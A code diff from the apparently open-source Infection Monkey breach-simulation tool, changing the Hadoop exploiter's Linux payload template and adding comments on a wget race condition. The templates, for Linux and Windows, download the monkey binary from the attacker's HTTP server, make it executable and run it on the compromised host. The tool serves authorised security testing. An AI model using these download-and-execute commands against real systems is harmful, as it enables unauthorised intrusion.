diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 580a5d7d0..e67ed0cad 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -46,16 +46,27 @@ CHECK_COMMAND = "echo %s" % ID_STRING # Architecture checking commands GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses -# All in one commands (upload, change permissions, run) HADOOP_WINDOWS_COMMAND = ( "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " '{& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) +# The hadoop server may request another monkey executable after the attacker's HTTP server has shut +# down. This will result in wget creating a zero-length file, which needs to be removed. Using the +# `--no-clobber` option prevents two simultaneously running wget commands from interfering with +# eachother (one will fail and the other will succeed). +# +# If wget creates a zero-length file (because it was unable to contact the attacker's HTTP server), +# it needs to remove the file. It sleeps to minimize the risk that the file was created by another +# concurrently running wget and then removes the file if it is still zero-length after the sleep. +# +# This doesn't eleminate all race conditions, but should be good enough (in the short term) for all +# practical purposes. In the future, using randomized names for the monkey binary (which is a good +# practice anyway) would eleminate most of these issues. HADOOP_LINUX_COMMAND = ( - "! [ -f %(monkey_path)s ] " - "&& wget -O %(monkey_path)s %(http_path)s " + "wget --no-clobber -O %(monkey_path)s %(http_path)s " + "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) " "; chmod +x %(monkey_path)s " "&& %(monkey_path)s %(monkey_type)s %(parameters)s" )